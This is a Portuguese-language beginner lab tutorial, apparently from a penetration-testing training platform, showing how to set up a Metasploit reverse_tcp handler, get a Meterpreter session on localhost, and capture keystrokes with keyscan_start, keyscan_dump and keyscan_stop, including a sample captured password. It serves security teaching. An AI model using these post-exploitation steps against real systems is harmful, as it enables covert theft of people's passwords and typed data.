Registrar Teclas em um Alvo Usando Meterpreter

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você explorará uma técnica comum de pós-exploração: o registro de teclas (keystroke logging). O registro de teclas, ou "keylogging", é o processo de gravar as teclas pressionadas em um teclado, tipicamente de forma oculta, para que a pessoa que usa o teclado não saiba que suas ações estão sendo monitoradas. Em testes de penetração, essa técnica é inestimável para coletar informações sensíveis, como nomes de usuário, senhas e outros dados confidenciais.

Usaremos o poderoso payload do Metasploit Framework, o Meterpreter, para realizar isso. O Meterpreter possui um módulo integrado chamado keyscan que permite a um atacante iniciar, descarregar (dump) e parar facilmente um keylogger em um sistema comprometido. Ao longo deste laboratório, você aprenderá como obter uma sessão do Meterpreter, implantar o keylogger, capturar as teclas pressionadas e, em seguida, limpar seus rastros.

Obter uma sessão Meterpreter em um alvo

Nesta etapa, configuraremos um listener no Metasploit e executaremos um payload para obter uma sessão Meterpreter. Para fins deste laboratório, atuaremos como atacante e alvo na mesma máquina. Um arquivo de payload chamado payload.elf já foi criado para você no diretório ~/project.

Primeiro, vamos iniciar o console do Metasploit Framework.

msfconsole -q

Assim que o msfconsole for carregado, precisaremos configurar um handler para escutar a conexão de entrada do nosso payload.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Agora, execute o listener como um job em segundo plano usando o flag -j.

exploit -j

Você deverá ver que o handler foi iniciado.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Agora, abra uma nova aba de terminal clicando no ícone + no painel do terminal. Nesta nova aba, execute o payload.

./payload.elf

Volte para a sua primeira aba de terminal com o msfconsole. Você deverá ver uma mensagem indicando que uma sessão Meterpreter foi aberta.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38908) at 2023-10-27 10:30:00 -0400

Para interagir com esta nova sessão, use o comando sessions.

sessions -i 1

Seu prompt deverá mudar para meterpreter>, indicando que você agora está no controle da sessão do alvo.

[*] Starting interaction with 1...

meterpreter >

Iniciar o registrador de teclas com o comando keyscan_start

Nesta etapa, com uma sessão Meterpreter ativa, iniciaremos o registrador de teclas na máquina alvo. O comando para isso é keyscan_start. Este comando injeta um keylogger em um processo no sistema alvo e começa a capturar toda a entrada do teclado.

Certifique-se de estar no prompt meterpreter>. Digite o seguinte comando e pressione Enter:

keyscan_start

O sistema confirmará que o keylogger foi iniciado.

Starting the keystroke sniffer...

O logger agora está rodando silenciosamente em segundo plano no sistema alvo, gravando cada tecla que é pressionada.

Aguardar o usuário digitar informações

Nesta etapa, simularemos um usuário digitando informações confidenciais na máquina alvo. Como nosso keylogger está ativo, ele capturará essa atividade.

Abra novamente uma nova aba de terminal clicando no ícone +. Neste novo terminal, simularemos um usuário digitando uma senha. Você pode digitar qualquer comando, mas para este exemplo, usaremos echo para simular a digitação de uma senha secreta.

echo "MySuperSecretPassword123"

Após executar o comando, você pode fechar esta nova aba de terminal. As teclas digitadas para echo "MySuperSecretPassword123" foram agora capturadas pelo nosso keylogger em execução. Retorne à aba de terminal onde sua sessão Meterpreter está ativa.

Descarregar as teclas capturadas com o comando keyscan_dump

Nesta etapa, recuperaremos as teclas que foram capturadas pelo logger. O comando keyscan_dump busca todas as teclas gravadas da máquina alvo e as exibe no seu console Meterpreter.

No prompt meterpreter>, execute o seguinte comando:

keyscan_dump

Você verá a saída de todas as teclas capturadas desde que o logger foi iniciado. Isso incluirá o comando que você digitou na etapa anterior.

Dumping captured keystrokes...

echo "MySuperSecretPassword123"

Como você pode ver, o comando que digitamos no outro terminal foi capturado com sucesso. Isso demonstra como um atacante pode roubar credenciais, comandos e outros textos sensíveis digitados por um usuário.

Parar o keylogger com keyscan_stop

Nesta etapa, pararemos o keylogger. É crucial para um penetration tester fazer a limpeza após um engajamento para remover quaisquer artefatos e parar quaisquer processos em execução, deixando o sistema alvo como foi encontrado.

Para parar o keylogger, use o comando keyscan_stop na sua sessão Meterpreter.

keyscan_stop

O sistema confirmará que o keylogger foi parado.

Stopping the keystroke sniffer...

O keylogger não está mais ativo na máquina alvo. Você pode agora sair com segurança da sessão Meterpreter e do msfconsole digitando exit duas vezes.

Resumo

Neste laboratório, você aprendeu com sucesso como realizar a captura de teclas (keystroke logging) em um sistema alvo usando o Meterpreter. Você praticou todo o ciclo de vida desta técnica de pós-exploração, desde a obtenção de uma sessão até a limpeza de suas ferramentas.

Você aprendeu como:

  • Estabelecer uma sessão Meterpreter usando um handler e um payload.
  • Iniciar o keylogger em um alvo usando o comando keyscan_start.
  • Descarregar as teclas capturadas para visualizar informações sensíveis com keyscan_dump.
  • Parar o keylogger e limpar a sessão usando keyscan_stop.

Esta é uma técnica poderosa que destaca a importância da segurança e monitoramento do sistema. Lembre-se de usar essas habilidades de forma responsável e ética. Parabéns por completar o laboratório!